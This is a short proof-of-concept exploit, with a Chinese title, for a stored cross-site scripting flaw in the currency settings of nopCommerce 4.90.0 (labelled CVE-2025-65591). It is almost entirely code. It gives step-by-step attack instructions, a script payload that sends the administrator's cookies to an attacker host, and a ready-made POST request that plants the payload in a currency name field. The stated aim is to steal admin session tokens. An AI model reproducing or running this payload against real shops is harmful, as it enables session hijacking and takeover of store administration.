CVE-2025-65591: nopCommerce 4.90.0 货币功能存储型XSS漏洞

// CVE-2025-65591 PoC - Stored XSS in nopCommerce Currencies // Author: Security Researcher // Target: nopCommerce 4.90.0 // Step 1: Login to nopCommerce with low-privilege account // Step 2: Navigate to Administration > Configuration > Currencies // Step 3: Add new currency with malicious name const maliciousPayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; // Example HTTP Request to create currency with XSS payload const createCurrencyRequest = { method: 'POST', url: '/Admin/Currency/Create', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'NOP.AntiForgery=true; NOP.Session=your_session' }, body: 'Currency.Name=' + encodeURIComponent(maliciousPayload) + '&Currency.CurrencyCode=USD&Currency.Rate=1.0&Currency.IsPrimaryCurrency=true' }; // Step 4: When admin views currency list, XSS payload executes // Steals admin cookies/session tokens console.log('XSS Payload injected in currency name field');